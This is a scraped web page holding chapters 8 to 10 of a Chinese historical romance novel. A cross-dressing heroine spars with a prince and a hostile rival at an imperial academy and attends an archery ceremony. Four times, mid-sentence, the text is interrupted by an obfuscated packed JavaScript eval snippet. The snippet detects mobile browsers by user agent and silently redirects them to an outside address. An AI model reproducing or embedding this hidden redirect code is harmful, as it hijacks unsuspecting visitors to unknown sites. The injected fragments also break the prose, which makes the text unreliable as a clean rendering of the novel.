;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125639|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太过体面,但很多事情只能用魔法打败魔法。 “自然没有。不过,”然而,她尚在内心暗爽的时候,对方眼底那两颗痣却游曳起来,“博士,我突然想起来了,昨夜其实是因为能与宋兄一起入学,又在益清阁内遇到宋兄,心里十分欢喜,便贪杯了不少,所以才——宋兄,你可为我作证吧?” 宋始昭那抹扬在嘴角的笑意猛地僵住,随后,她便看到赵伯识把目光投向了她。 靠! —— 去往博文馆的石径两侧修竹森森,竹影幽深。周遭静悄悄的,唯有两人脚步声此起彼伏。 宋始昭跟在顾锦幽身后半步,垂着眸盯着脚下的石板路。同低气压的她截然相反,顾锦幽不仅步履轻松,甚至还有闲心欣赏径旁细竹。 “宋兄,”他开口,声音里带着一丝若有似无的笑意,“这次又要麻烦你啦。” 宋始昭目不斜视,只当没听见。莫名其妙,一而再再而三被动与这人牵扯上关系让她有点不爽。 顾锦幽察觉到了她的冷淡,脸上立刻带了些委屈:“宋兄莫不是,生气了罢?” 这话说得可太有意思了。生的是哪次的气?刚才的,还是昨夜的? 宋始昭扯扯嘴角,把脚下碎石踢开:“没有啊。殿下多虑了。” 顾锦幽松了口气,眉眼舒展开:“太好啦。”他顿顿,又状似不经意地继续道,“说起来,听思意说我昨儿醉得厉害,竟还闯去蔓枝姑娘的雅室,没打扰到宋兄与蔓枝姑娘的好事吧?” ……这绿茶精又开始了。 她咬牙切齿地笑着挤出来这几个字:“怎么会?殿下也是无意。” 顾锦幽闻言,笑得更好看了:“来的路上,我一直都担心宋兄会介意,宋兄果然雅量,真的不曾介意。” 介意……介意??? 宋始昭差点吐出一口血,算了,算了,退一步,海阔天空。 她推开门就要寻个角落清静,然而这戏精竟然还没完,恬不知耻地继续道:“对了,宋兄,我思来想去,还是觉得对你不起,要不下次,我请你去‘怀月楼’可好?” 宋始昭脚步一顿:“啊?” 顾锦幽挑眉看她,语气里带着几分暧昧的调侃:“昨日见你与蔓枝姑娘相谈甚欢,颇为投契,放心,怀月楼的姑娘虽不比蔓枝姑娘冰清玉洁,但也定不会让你失望~” ………… 宋始昭终于憋不住了,戴在脸上那副温顺面具裂了一条缝隙,她吸一口气,大脑继续运转,决定好好给这登鼻子上脸的家伙一点颜色。 ——什么样的言辞才能让这装蒜的家伙露出本来面目? “哎呀,莫不是害羞了吧?” 那自然便是,以其人之道,还治其人之身。 宋始昭笑笑,有了一个主意。 她的目光直直落在顾锦幽俊美的面容上,露出一抹笑容:“殿下说笑了,殿下的一番好意,始昭自然感恩。不过,殿下似乎误会了。” 她这话说得暧昧,惹得顾锦幽一愣:“嗯?” 宋始昭却笑,她靠近半步,那张白皙清秀的面庞出现在顾锦幽那双狭长双目中。而后,她便学着那夜顾锦幽提剑挑落衣物的样子,纯真、而又分外无辜地看着对方说:“谁说一定是要去找姑娘呢?要知道,美人啊,从来都是不分性别的。” 顾锦幽:…… 8. 女子之德 最后几叠书册归整妥当后,宋始昭拍落指尖浮尘,望向顾锦幽那处时,他正将最后一摞典籍摆入书架。 出乎意料地,他并不是个十指不沾阳春水的骄纵公子,且自她那句反击后,他便见好就收,未再主动招惹,只沉默做事。 等所有书册摆放妥当后,二人一前一后出了博文阁。回到明伦堂时,赵伯识正讲至《卫风·伯兮》一节。 “伯也执殳,为王前驱——此句言丈夫手执长殳,挺身做君王的先锋。古往今来,男儿志在四方,自当以此身报效国家,舍小家以成大家。” 他正说着,瞥见从博文阁归来的二人,淡淡问道:“收拾妥当了? 宋始昭微一欠身,颔首道:“是。” “既已妥当,便回座罢。” 宋始昭闻言便踱步至孟照夏身侧。移步间,几道不友善的目光悄然落在她与顾锦幽身上。那目光带着审视与臆测,仿佛自二人同被惩罚起,她便已是铁板钉钉的顾锦幽一派。 她坐下来,赵伯识的声音再度响起: “在此诗中,我们同样可寻到女子之德的根本。女子自古便依附男子而生,诗中言,男子之德在忠君,那么女子也应以夫之荣为荣,以夫之忠为忠。此乃女子本分。” 话音一落,舍内士子皆面色如常之际,唯有宋始昭眉头微微蹙起,轻轻捻起注疏边角。 赵伯识这番话自是这世道的定论,或者说,哪怕是她所在的时代,尽管女性身份地位似乎有了翻天覆地的变化,实则在本质上并没有丝毫改变。 女性似乎天生便是男性的附属品,她们的生命意义只是社会功能化的延伸与包装。 她正沉思,赵伯识又道:“如今,我大兴平定北方,国势日盛,这洛京城内更是繁花似锦,百花齐放。这本是吉兆,然则不日前,我听闻有女子上街抛头露面、上街营生,此等行径,实为世风日下。当效古制,男子征于外,女子守于内,诸君以为如何?” 此言一出,堂中应和声此起彼伏。其中一位头戴冠玉,神色颇为倨傲的公子朗声道:“博士所言极是。女子蒲柳之姿,怎禁得起风雨摧折?还是安居内宅、受男子呵护为好!” 这话说得真是轻佻恶心,赵伯识之言尚且存了些对女子操持家业的敬意,这人则完全抹杀了女性的价值,彻底将女子物化。然而,尽管她为女子地位而不平,这厅堂之内却尽是附和之声,一声高过一声。 “蔡兄仁厚!” “蔡兄见地实在令人钦佩。” “宋兄……”耳畔传来孟照夏压低的声音,宋始昭侧目,只见这心思单纯的富家公子面露难色,“他怎能说这般话?” 总算还有一个正常人。宋始昭不动声色,淡淡问道:“孟兄何出此言?” 孟照夏脸上涨得微红,急声道:“宋兄难道竟认同此等言论?我阿娘在阿爹失意落魄时独撑家业,若无母亲,便无照夏今日!我断不能认同这轻视女子的言论!如若宋兄你——” “谁说我认同?”宋始昭轻声打断他的话,只是没有必要在此处出头。 然而树欲静而风不止,那蔡姓公子却把目光投过来,似笑非笑地望过来,还装作不经意地瞥了一眼不远处似是事不关己、不发一言的顾锦幽:“不知宋兄有何高见?” 被莫名其妙点到名的宋始昭一愣,见对方有意无意地看了好几眼顾锦幽,蓦地反应过来,看来是真把她跟顾锦幽绑一块去了。她面色平静,缓声道:“赵博士说得有几分道理,人世诸事,本就是各司其职。” 她无法违背本心说出自己都无法认同的论调,也不想出头引起注意,所以只能取其中认可之处加以回应。 那人眉毛一挑,发难道:“几分?看来,宋兄对博士之言尚有几分保留啊。” 宋始昭神色不变,立刻回道:“兄台多虑了,宋某对博士并无不敬之意。” 对方果然不依不饶:“既如此,敢问宋兄真实看法为何?是赞同,还是另有高见?” 宋始昭是看出来了,这人大概就是有意寻衅,无论她如何应答都会被挑错,既是如此,忍耐便没有什么意义。她唇角微扬,声音清晰响起:“我的看法?首先,宋某一介寒士,看法无足轻重,望诸位权当笑谈。其次,若兄台执意要听,那便是,我并不认同。不知兄台欲如何?” 对方眼中一亮,当即扬声喝道:“果真是目无尊长,傲慢至极!” 宋始昭却不卑不亢:“我大兴国势昌盛,百花齐放,难道一事只容一解?博士所言固有其理,各人理当各司其职,然古来也有女子披甲上阵,名留青史,岂是兄台口中弱不禁风、只堪攀折的蒲草?” 她顿顿,目光扫过整间屋子,语气虽轻但异常坚定:“再说,家国本为一体,诸君皆知无国便无家,可若无家,又何来国?既为一体,何来高低贵贱之分?” 一席话落,满堂寂然。那公子面红耳赤,正要反驳,堂中却响起一阵掌声。 众人望去,竟是顾锦幽。 他笑得眉眼弯弯:“宋兄高见。”说着,他又望向那倨傲公子,语调轻快,“瀛玉,这局可是你输啦~” 瞬间,堂内更静。端坐于上首的赵伯识捻着胡须,目光在这三人之间流转,他的眼底无半分愠怒,反倒藏着几分探究。 直至下堂,那道尖锐目光仍旧时不时扎过来,令人不适。 堂内士子慢慢散去,只余了他们几人,那蔡姓公子脸色已恢复如初,只是脸上倨傲神色未减,他缓步来到宋始昭面前,行礼道:“在下洛京蔡澜玉,方才多谢宋兄赐教。” 虽然这话听着很怪,但宋始昭向来伸手不打笑脸人,回了一礼:“徐州宋始昭。” 蔡澜玉又看向顾锦幽:“二殿下,许久未见,久居朔北,回这洛京可还过得惯?” 这话听得宋始昭心里都沉了一下,从刚刚顾锦幽的表现来看这两人显然是相识的,那么这人的态度却为何如此轻慢? 但顾锦幽竟似没有听出这话外之音似的,点点头:“挺好,择日当去府上拜会蔡老。” 蔡澜玉扬扬下巴,又道:“父亲近来忙于吏部事务,暂不接客,恐怕二殿下会白走一趟。”他顿顿,又道,“对了,过几日听闻太学内要举行射礼,久闻太子殿下夸赞殿下,不知殿下可否前来指点一二?” 顾锦幽眉毛一挑:“欸?这个嘛——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125640|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔡澜玉笑容更深:“殿下自鄂罕部归来后,便师从赵将军,这几年中更是不离其左右,想必深得谢将军真传吧?” 顾锦幽虽然笑容未减,但不知为何宋始昭感觉到了气氛一瞬间的凝滞,还未来得及深想,她便听这个从来探不出虚实的人应道:“好,既然澜玉这般盛情邀约,我自当全力以赴。” —— 回宫途中,顾锦幽与沈棹之同坐车中。他随手拈起一块水糕,刚准备送入口中,车外便传来侍卫的禀告:“殿下,思意公子遣人来问,今日是否如往日一般樊楼一聚。” 顾锦幽放下那糕点,撩起车帘,帘外出现一位年轻人的面孔——是那夜树林中同那酒槽鼻一起的书生。他名为蔺远舟,那夜过后便跟在顾锦幽身后。 “不去。就跟思意说,近来我沉迷于太学中的美人儿,无暇顾及他人~” 这话说得坦坦荡荡,言之凿凿,全然不顾他人看法,颇有顾锦幽之“风骨”。蔺远舟嘴角抽搐,尽管在某些事上对这位二皇子有些改观,但是这般时刻仍然有些无法适应。 倒是一直跟在他身边的沈棹之早已习惯他的不着调,丝毫不见动摇。这下倒是顾锦幽不爽了,回车厢内又托起下巴,眨眨眼睛:“好棹之,你觉得爷长得如何?” 沈棹之僵了一下,决定沉默。 “唉,不久前你最喜欢的二殿下,也就是我,被人调戏了。”他眯了眯眼睛,似是再回想宋始昭直言反驳的模样,但沈棹之却面无表情,没有反应,他便嘴角勾起笑意,故意发难:“你身为贴身侍卫,见主上受辱,却无动于衷,该当何罪?” 沈棹之真是什么大风大浪都见过了,岿然不动:“该当死罪,爷。不过,这便是您一直不回去的缘故吗?谢将军那边已数次传信,一直在问您归期。” 顾锦幽叹一口气:“你真是无趣啊,棹之~”他顿顿,话锋一转,语气里再不见轻浮,“师父还问了鄂罕部的事情吧?” 沈棹之点点头。 他摘下果盘里一颗荔枝,放在手里把玩:“不急,现下魏刚定,鄂罕部必当警惕,不是攻打的最好时机。” “但是鄂罕部他们一直伺机而动,况且他们那时候对爷……!”提及过往,沈棹之脸上露出愤愤的神色。 顾锦幽却笑:“棹之啊棹之,很多事不急于一时嘛。” 沈棹之呼出一口气,压下心中怒火:“嗯。属下明白,只是爷,您向来厌弃这洛京的腌臜地儿,此次为何却在此迟迟逗留?” 顾锦幽嘴角扬起一抹意味深长的笑:“为何?或许是,发现了一个有趣的人?” 沈棹之一愣,迟疑着问:“您说的是……宋公子?” “是啊。” 沈棹之想到了某个可怕的可能性。 “棹之,你刚刚想了什么?”顾锦幽看穿了他的心思,有些古怪地看了他一眼。 “呃……没有。” 顾锦幽失笑:“不是你想的那样。我只是觉得,他颇为眼熟,我定在哪里见过。我的直觉告诉我,他可能大有用处——” 车外夜色幽幽,墨色的乌云缓缓漫过天际,将皎洁的月色彻底遮蔽,似是一场诡谲风云。 9. 同病相怜 三日后的午后,大课早早结束,一众学子兴致昂扬地涌向射圃。 这地儿本为太学士子习射、休闲之所,也会定期举办射礼,以明长幼尊卑之序,彰显盛世之风。 人流浩浩汤汤,晴朗明媚的日光洒落下来,一派生机。宋始昭和孟照夏一起跟着人流走向明伦阁后方。 彼时,射圃内已聚集了不少人。人群中,宋始昭一眼便看到了站在不远处的蔡澜玉及其党羽。他身着一身利落胡服,身姿挺拔,若不是眉宇间那股倨傲之色太过根深蒂固,倒不也失为一个翩翩少年郎。 “怎地不见二殿下?”孟照夏环顾四周,语气里带着几分好奇。 宋始昭却见怪不怪,谁知他昨日是否又流连烟花地了呢?这几日里她断断续续听到不少关于他的传闻,大多便是流连烟花巷陌等等,与她脑海中的印象大差不差。她漫不经心道:“只盼不要再姗姗来迟就好。” 孟照夏听出她语气中的疏离,俯身压低声音道:“宋兄,你与二殿下不对付?” 宋始昭一愣,暗忖自己难道表现得太过明显,她当即否认:“并非如此。只是殿下身份尊贵,不是我等能高攀之人。” 她这话倒是真心实意,她总有一种感觉,如果与顾锦幽扯上关系,恐怕会惹上不必要的麻烦。实际上这一段时间的遭遇正印证了这一点。 孟照夏却笑了,如玉的面容在如水般的日光镀色下更显俊朗生动:“别瞒我啦,宋兄,在识人这块,我尚有几分心得。”说着,他的声音又低下去一些,语气虽有疑问,但眼神却是笃定,“还有,比起二殿下,你更看不惯那位蔡公子,是也不是?” 宋始昭略感意外,转念一想便也释怀。余杭首富的公子如若没有这点眼力见,如何能继承家业?就算天资愚笨,家中耳濡目染之下也该熟稔人情世故,学会察言观色。更何况孟照夏虽然在某些事上单纯,实际拥有一颗玲珑心。她坦然笑了笑,也不作答,只是手指轻轻按住嘴唇,做了个“嘘”的动作。 孟照夏见她白皙面庞上那双眼睛如星辰般璀璨,一时竟看得怔了,过了好半晌才回过神来,移开目光是他感觉到耳尖微微发烫。 就在这时,身后传来顾锦幽的声音: “宋兄与孟兄私交甚好,真令人妒忌……” 宋始昭额头青筋微跳,转身正要反驳,却意外看到另一张陌生的、却与顾锦幽有几分相似的面容。 “太子殿下——!” 不远处的蔡澜玉率先察觉来人身份,神色骤变,不自觉惊呼出声。 话音未落,在场众人先是一愣,随即齐齐下跪,对着这与顾锦幽身形相似的男人高呼“太子千岁”。顾锦澜瞧上去比顾锦幽沉稳一些,语气平和道:“说都起来吧,今日是本王唐突了。” 言罢,他迈步走向蔡澜玉,亲自将人扶起,语气中带着调侃,也带着责怪:“又在胡闹,此番竟闹到了二弟身上,看你回头如何跟蔡老交代。” 蔡澜玉却不见半分慌乱:“殿下,二殿下回洛京总是行迹匆匆,难得有机会同他亲自结识,澜玉是无论如何都不能放过这个机会的。” 顾锦澜还想说什么,一旁的顾锦幽上前打了圆场,笑道:“皇兄,可莫再责怪澜玉啦~快请上座吧~” 太子驾临的消息很快便传到了太学官员耳中,片刻后,宋始昭便见许久未露面的林自虞带着傅解忧匆匆赶来。 两人一来便要跪拜,顾锦澜上前一步一把扶住林自虞,领他坐至观德亭主位。 站在人群中的宋始昭观看着他们一个个粉墨登场,感受则颇为复杂。她敏锐地从这看似兄友弟恭的场面中捕捉到了一丝怪异。而后,一种说不清道不明的危机感漫上心头。 几声铿锵鼓声骤然响起,打断了她的思绪——射礼正式开始了。按惯例,射礼分习射、正式比试、乐射三部分,乐射需配合《诗经》乐章进行行射,而此次射礼有些不同,只取前两项进行。 鼓声停歇,顾锦幽及蔡澜玉各持长弓,缓步走入场内。这是宋始昭第一次见到脱去黑色袍服、身着轻便劲装的顾锦幽。他实在好看,长身玉立,似一只鹤。 他站到平整的射区之上,左手举起长弓,右手拿执箭抵上银弦。随着右臂动作,那弓弦被越拉越满,宛如圆月。蓄力片刻他猛地放手,那箭矢便破开空气,直直射向那用皮革制成的靶心。 宋始昭的心竟不自觉地随那箭矢悬了起来——不止是她,在场大半人的目光,都追随着那道银影而去。越来越近,众人的呼吸似乎屏住,最终,随着那箭矢稳稳嵌在靶上,他们才再度呼气。 待箭身震颤缓缓停歇,众人皆看到,箭头稳稳地停在了离中心红点约莫三寸的地方。 不好也不坏。 “哎呀,偏了。”顾锦幽只当是练手,脸上虽有失落但也不多。他带着期待的神情转头看向一侧的蔡澜玉。 那蔡澜玉原先也带着几分看热闹的心思,或许还有忐忑。要是这纨绔真有几分本领那该如何?看到结果后他觉得是自己多虑了。蔡澜玉眉宇间的倨傲更甚,他扬起下巴,举起自己手上的弓箭,反手便给顾锦幽来了下马威。 ——九环! 箭矢精准命中九环,白色尾羽仍在小幅度的震颤。观赏区一阵欢呼响起。 这是毫无疑问的绝对胜利,看来他也并不是个仅会大放厥词的草包。宋始昭这般想着,又把目光投向观德亭。 坐在上首的两人的表情一览无余,明哲保身的大儒一如既往地波澜不惊,而顾锦澜则端着杯盏浅啜一口,神情较初来时放松不少。 正式比试很快开始。 可惜的是,习射呈现出的劣势并没有得到扭转,直至整场射礼结束,顾锦幽的表现都算不得亮眼,非要说的话,只能说很是中庸。 四次比赛中,唯一亮眼的一次表现还是在第三轮,许是被蔡澜玉连中三次九环的势头逼得紧了,他使尽浑身解数,才叫箭矢离靶心近了两寸,勉强同蔡澜玉打成平手。但终究难挽颓势,遗憾败于蔡澜玉。 跟在一位师帅身侧到底有几分身手,但也不多,再联想到他平时在外的名声,这当然是理所当然的结果。 顾锦幽唉声叹气地走过来,同顾锦澜对上眼眸的时候脸上表情颇为有趣。他先是故作振作,为自己找补:“许久未曾练习,手似乎生了。”后来又是恼怒又是自嘲,朝蔡澜玉发泄,“澜玉竟这般不给我面子,故意折辱我……” 蔡澜玉在这时倒是识趣,虽然无半分愧疚,却也欠身赔罪:“二殿下,是澜玉不是,还望二殿下恕罪。” 最后还是顾锦澜当了和事佬,一番劝解:“澜玉也不是故意。”他顿顿,又道,“二弟,你疏于练射之事赵将军在奏疏里也时常提及,怎得也不引以为戒,到如今仍是这般模样?莫要让父皇失望才好。” 顾锦幽脸上青一阵红一阵,但又实在理亏,最后也只能颔首应道:“是臣弟不是,劳皇兄费心了。” —— 射礼结束后,宋始昭转身离去,准备归府。她婉拒了孟照夏去樊楼小聚的邀约,脑海中默默回忆着刚才射圃中的场景。 她终于想通了之前感觉到的那阵微妙源自何方。那顾锦澜同顾锦幽之间分明便是故作友爱,实则暗潮汹涌。难怪蔡澜玉之前在斋舍内那般刻意刁难,分明便是敲打。而顾锦幽大概也早有察觉,所以才一直幽居于朔北,避其锋芒。 但宋始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125641|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭无意掺和进他们的争斗,自古权势便是扭曲人的怪物,贸然涉身其中,只怕会身不由己,甚至得不偿失。 她默默祈祷顾锦幽赶紧离开洛京,脚下也加快步伐。 行至明伦堂拐角处时,几道声音猝不及防钻入耳中。倒不是她爱听墙角,只是那几人似乎也不曾避讳。 “今日公子赢了那孽种,真是大快人心!下等宫人生出来的东西,竟也配站在太子殿下面前!” “原以为他在谢玄石身边总会改头换面,今日一见,还是以前那扶不上墙的烂泥。”是蔡澜玉的声音,里面带着毫不掩饰的鄙夷。 “果然是没娘教养的东西!” “嘘——有人来了。” 其中一人十分眼尖,看到宋始昭后立刻叫旁人噤声。宋始昭看着他们看过来的轻蔑眼神,心里想着,真是贼喊捉贼,但她面上却十分平静,像是根本没听到他们的污言秽语,行礼道:“蔡兄。” 蔡澜玉脸色未变,语气自然地问道:“怎得不见二殿下?” 宋始昭颇为佩服他的脸皮,眉头一挑摇头道:“二殿下并未与我同行。” 蔡澜玉嘲讽道:“比试一结束,我便见他匆匆走了,没想到竟落下了宋兄。” “殿下自有安排。”宋始昭淡淡回应。 “安排?”那蔡澜玉脸上的厌弃更甚,嗤笑道,“他还有何安排?回京大半月,怕也就只认得去勾栏的路了。” 党羽们纷纷发出轻笑,听来分外刺耳。 蔡澜玉倒也还有几分脑子,不欲再说下去遗留把柄,他话锋一转,又道:“宋兄,有句话不知当讲不当讲。” “请蔡兄明示。” “所谓良禽择木而栖,宋兄自然该明白谁才担负着大兴未来国势之人。”蔡澜玉目光灼灼地盯着她,“如若宋兄想通了,前几日的冒犯我也可以既往不咎。“ 宋始昭一怔,若有所思地垂下眼眸。 蔡澜玉只当她被自己说动,上前一步,拍拍她的肩膀:“宋兄应当是个聪明人。” 宋始昭嘴角慢慢勾起笑容,抬起头来,直直望向蔡澜玉眼眸深处:“谢蔡兄忠告。” 蔡澜玉闻言露出满意表情,只是这表情很快僵在脸上——他又听宋始昭说: “只是,我想要结交谁,是我的自由,还轮不到他人置喙。” “你——”蔡澜玉脸色猛地涨红,怒目圆睁,气得浑身发颤。 宋始昭懒得再与他纠缠:“若无其他事,宋某便告退了。” 言罢,转身径直离去,留下蔡澜玉在原地气急败坏。 回府途中,宋始昭想起方才与蔡澜玉的争执,不禁苦笑。这样一来,怕是彻底坐实了她是顾锦幽一派地猜测,但她知道,如果再一次发生同样的情况,她恐怕还是会做出如此选择。 方才那句“没娘教养的东西”,像一把生锈的旧刃,猝不及防地划开她刻意遗忘的过往。她本以为人生中一些无奈与遗憾可以用更成功的以后来掩埋,事实上她也做到了,但现在才发现,很多事她似乎并没有释怀。 母亲患病离世后,她成了无依无靠的孤女,辗转寄居于亲戚家中。而类似于这般的谩骂,便成了她生活中最平常的事。 印象最深刻的一次,便是寄住舅舅家。表妹因妒忌她的成绩与样貌,编造出一桩桩谎言,只为让舅舅舅母深信她是个妄图鸠占鹊巢的野心家。 后来有一天,舅舅带着满脸疲惫与难掩的愧疚走进她小小的房间中。男人声音低哑说着“昭昭,要不你先去福利院住一段时间”,那时表妹端着一张得意的胜利面孔站在门口,无声地用嘴唇对她说: “再见,你这个有娘生没娘养的东西。” 10. 课外实践活动 彝伦堂内,案上白瓷茶盏正氤氲出薄薄水汽。 顾锦幽接过沈棹之递过来的茶,见沈棹之眉宇间压着几分郁气,语气里带了些戏谑:“怎么?觉得爷让你丢脸了?” 沈棹之摇摇头:“属下不敢,只是瞧不得他们小人得志的模样,尤其是那蔡澜玉狗仗人势,若在朔北,定叫他尝尝厉害。” 顾锦幽眉毛一挑,不在意道:“没必要同他置气,打消他们疑虑才方便我们行事。对了,苏蔓枝的来历你查清楚了?” 沈棹之“嗯”了一声:“档案上倒是清白,五年前家道中落被卖过来的。” 顾锦幽浅啜一口茶,又问:“那我们宋兄呢?” “林府上下口风极严,是属下无能,至今未能探得半分底细。”沈棹之低下头,就要跪下跟他请罪。顾锦幽却挥手:“林自虞向来明哲保身,很正常。哎呀,”他顿顿,语气添上几分玩味,“这么看来真是我猜错了呀?与苏蔓枝真就是君子之交?” 沈棹之素来不喜妄议没有根据的事情,沉默片刻,又想起方才偶遇的光景,便道:“对了,爷,刚刚来的路上,我看到宋公子似是和那蔡澜玉起了冲突。” 顾锦幽一怔,露出很感兴趣的表情。沈棹之便继续道:“离得远没有听清,只是蔡澜玉看起来气得不轻。如此想来,宋公子至少不是那边的人。” 顾锦幽却没应他的话,晃了晃茶盏道:“是不是的,你我都说不准,只是,真叫人在意呢……” 沈棹之虽然心里想着,一般被您惦记上的人多半不会有什么好事,还在心里默默同情了几秒宋始昭,但到底不是什么打紧事,他便没说什么,只是走上前,又为他向来捉摸不透的主子添了些热水。 —— 那日之后,蔡澜玉的针对便摆上了明面。 或是课堂上借题发挥,对宋始昭百般挑刺;或是在走廊指桑骂槐,字字句句都带着刻意的嘲讽。 一日午间休憩,孟照夏终究按捺不住,凑到宋始昭身边,满脸疑惑:“究竟发生了何事?怎么这跋扈的蔡澜玉越缠越凶了。” 宋始昭本不想多说,但见孟照夏一脸不回答决不罢休的样子,只得隐去关键,简单将她与蔡澜玉的冲突复述一遍,最后以“这人实在粗鄙,不是值得交往之辈”这句收尾。 孟照夏瞬间了然,说她做得对,但旋即脸上又起了担忧:“瞧他们的做派,只怕是真要把你当成二殿下一派了。始昭兄,你可想过?” 宋始昭微愣,她素来知道孟照夏纯粹坦荡,却未料他能这般毫无保留地袒露善意,全然不惧被牵连。这般心性,定是养成在满是爱意的环境之中。 “怎么不说话?不会真的没想过吧?” 宋始昭看着他那双漾着担忧的桃花眼心里流过一阵暖意,她低头笑笑:“不是。” “那你在想什么?” “这个嘛……” “欸,让让。”身侧传来惹人厌恶的声音,两人抬眼过去,是蔡澜玉带着几个跟班,施施然走了过来。 宋始昭懒得逞口舌之快,拉着孟照夏便要转身离去,谁知身后却悠悠飘来一句:“好狗确实不挡道啊~” “你!”一阵哄笑声中,孟照夏被激得浑身一僵,转过头就要上去讨个公道。但宋始昭却拉住他,语气十分平静:“孟兄,何必与他们计较?不如潜心琢磨我们的策论议题。若能在课业上胜过他们,岂不比空口争执更解气?” 她这话故意说得大声,堂内不少学子都听得真切。蔡澜玉面色一变,随后扯出一抹冷笑:“那我们就拭目以待吧。”言罢,重重哼了一声便拂袖离去。 所谓议题,是策论课施青博士布置的任务——令学子几人一组,各拟一篇民生政论,当众比拼高下。 宋始昭已为此苦恼好几日。作为一个紫老头,又涉及到她的专业领域,她相当谨慎且挑剔,孟照夏说了好几个提议均被否决。如今,这议题又关系到蔡澜玉,所以在孟照夏再次提议要不要去益清阁坐坐时,她毫不犹豫地又说了拒绝,甚至语气中带了些讽意:“孟兄,你与益清阁这般投缘,要不我们的议题就定为‘如何提高勾栏盈利’?” 孟照夏自然听出她的讽刺,倒有些委屈:“我并非执意要去,只是上次去时,蔓枝姑娘还特意问起你了。” 宋始昭一怔,听到这个名字的瞬间,那道冷光再一次出现在她眼前。这些时日安稳过久后,竟快忘了这个原身的旧部。她勉强扯出一抹笑:“蔓枝姑娘怎会突然问及我?” “也没什么,姑娘只是说许久没见你。” 宋始昭听懂了苏蔓枝的言外意,但她觉得此刻也并不是可以见面的时机,或者说,她内心深处可能只是在拒绝成为魏蘅这件事。她岔开话题:“等议题想好,我们再同去益清阁庆祝一番,如何?” 孟照夏只当对方想先专注于课业,便十分爽朗地应了下来,之后又同她兴致勃勃地商量起趁着月休出去转一圈的想法。 这个想法起初是由宋始昭提出。 孟照夏本以为她是想趁此熟悉熟悉洛京风貌,可当他站在御街街口,看着宋始昭对周遭的玩乐摊子毫无兴趣,反倒逐一询问营生状况,只为琢磨策论议题时,孟照夏忍不住咋舌:“始昭兄,有人说过你异常执着么。” 但宋始昭沉思片刻,坦然点头:“经常。” 她还没传过来之前,就经常听到别人说,昭昭,你太能坚持了,真是个工作狂。 其实公考培训这个行业,刚入行的时候会让人自己是个产品推销员,只是推销的不是实体商品,而是课程,或者说付费的知识。如果一直保有这样的认知,是不可能走下去的。宋始昭便不这样想,她珍惜每一个能证明自己的机会。 ——她一向就是这样一个为实现自我而永不止步的人。 孟照夏大概是没想到她如此坦诚,一时语塞,叹了一口气后还是默默跟在她身后。 路过一间胭脂铺时,孟照夏忽然驻足,语气带着几分惊讶:“……蔓枝姑娘?” 宋始昭顺着他的目光望去,只见铺中站着一道纤细身影,头戴斗笠,轻纱垂落如云雾,遮住了大半面容。是苏蔓枝,她身旁还跟着一位侍女。 听到声响,那身影微微侧身。宋始昭心头一沉,只是面上不动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125642|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声色依旧维持着淡然模样。 苏蔓枝缓步走上前,轻轻拢起面前轻纱,露出清丽却冷淡的面庞:“孟公子,宋公子。怎么会在此处得见?” 宋始昭正琢磨着如何掩饰来意,孟照夏已坦诚开口:“我们来市井体察民情,为策论课业寻些灵感。” 苏蔓枝那张十分冷淡的脸上露出微愕的表情,目光扫过往来穿梭的商贩与游客,轻声道:“附近有一家从食店,我们坐过去慢慢说罢?” 宋始昭实在找不着拒绝的理由,又在孟照夏“想去想去”的眼神里妥了协。片刻后,三人站在一家牌匾为“曹家从食铺”的前面。 宋始昭向里张望,原来是古代的糖水铺子。 店内生意十分红火,座无虚席。老板见是苏蔓枝,连忙快步迎上,满脸歉意地说道:“抱歉姑娘,今日客满,只剩一间临窗的小座了,还请您见谅。” 苏蔓枝并非骄纵之人,便说:“无妨。” 待侍女点好糖水点心,三人落座。苏蔓枝率先开口,目光落在孟照夏身上:“孟公子,你几日不来,妈妈还来问我,是不是哪里招待不周。原是为了课业,我还以为,是要躲着奴。” 宋始昭眼皮微微一跳,这话分明便是说给她听的。 